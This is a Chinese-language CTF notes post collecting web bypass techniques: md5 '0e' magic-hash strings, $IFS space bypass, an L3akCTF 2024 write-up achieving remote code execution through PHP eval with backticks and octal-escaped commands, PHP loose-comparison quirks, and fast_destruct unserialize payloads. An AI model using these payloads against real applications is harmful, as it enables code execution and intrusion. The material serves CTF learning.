积累并记录一些bypass

md5

0e绕过,注意0e后必须全是数字,否则仍会被当作字符串进行比较:

可以自行爆破来找符合条件的

两次md5后是0e开头:

iv2Cn
f2WfQ

一次md5后是0e开头:

240610708

空格绕过

对于执行shell命令的环境往往会过滤空格,但是由于shell本身的特性,导致出现一些bypass,如$IFS等,常见绕过原理如下: $IFS是shell中的字段分隔符,默认值为 空格、Tab、换行

php反引号+八进制\dxxx实现RCE

Simple Calculator [L3akCTF 2024]

题目给了index.php的源码:

<?php

function popCalc() {
    if (isset($_GET['formula'])) {
        $formula = $_GET['formula'];
        if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) {
            return 'Try Harder !';
        }
        try {
            eval('$calc = ' . $formula . ';');
            return isset($calc) ? $calc : '?';
        } catch (ParseError $err) {
            return 'Error';
        }
    }
}

$result = popCalc();
echo "Result: " . $result;

?>

$formula是个可控的变量,不允许长度超过150,同时字符串中不能出现字母和大小写引号

本题的bypass运用到了如下的两个特性:

1.PHP中反引号中的内容会被作为shell 命令来执行,并将其输出信息返回

2.PHP中\ddd表示的是1~3位八进制ASCII值对应字符

ls对应payload为?formula=`\154\163`
Result: flag-YQUO4fGlBZhRt3qZAg9Xnneyunqm5kmiP6CvM2JafYJ9alzgOTWYp3lNxTsaZlhd.txt
index.php

cat f*对应payload为?formula=`\143\141\164\40\146\52`
Result: L3AK{PhP_Web_Ch@ll3ng3}

true在弱比较时的特性

除了空对象以外,目前只发现0值以及其他类型空值与true进行弱比较会判断为false:

<?php
$emptyArr = array();
$emptystr = "";
if (true == 0 || true == null || true == $emptyArr || true == $emptyStr || true == false){
	echo "impossible";
}

class A {
}

$obj = new A();
$arr = array('');
if (true == 114514 && true == 0.1 && true == $obj && true == $arr && true == "a" && true == true ) {
	echo "true";
}
?>

反序列化中 fast_destruct 绕过 throw

如果在程序结束销毁所有对象之前有throw抛出异常,则无法实现__destruct()函数的触发:

<?php
class User
{
    public $username = "sxc";
    public $age = 258;

    public function __destruct() {
        print("successfully bypass throw");
    }
}

// $a = new User();
// $ser = serialize($a);
// print($ser);     # O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}
$ser = 'O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}';
$unser = unserialize($ser);
throw new Exception("you can't destruct");

这个程序只会抛出异常,而不会执行__destruct()

要绕过这个throw需要利用php的fast_destruct特性:

方式一,删去末尾一个花括号}:$ser = 'O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;';
方式二,修改序列化数字元素个数,将User后的2改为其他值:$ser = 'O:4:"User":3:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}';
方式三,先构造形如array($a, 0)的数组,再将最后的i:1改为i:0:$ser = 'a:2:{i:0;O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}i:0;i:0;}';
<?php
class User
{
    public $username = "sxc";
    public $age = 258;

    public function __destruct() {
        print("successfully bypass throw");
    }
}

// $a = new User();
// $ser = serialize($a);
// print($ser);     # O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}

// $a = new User();
// $ser = serialize(array($a,0));
// print($ser);     # a:2:{i:0;O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}i:1;i:0;}

# $ser = 'a:2:{i:0;O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}i:0;i:0;}';
# $ser = 'O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;';
$ser = 'O:4:"User":3:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}';
$user = unserialize($ser);
throw new Exception("you can't destruct");
?>

参考资料: https://zhuanlan.zhihu.com/p/405838002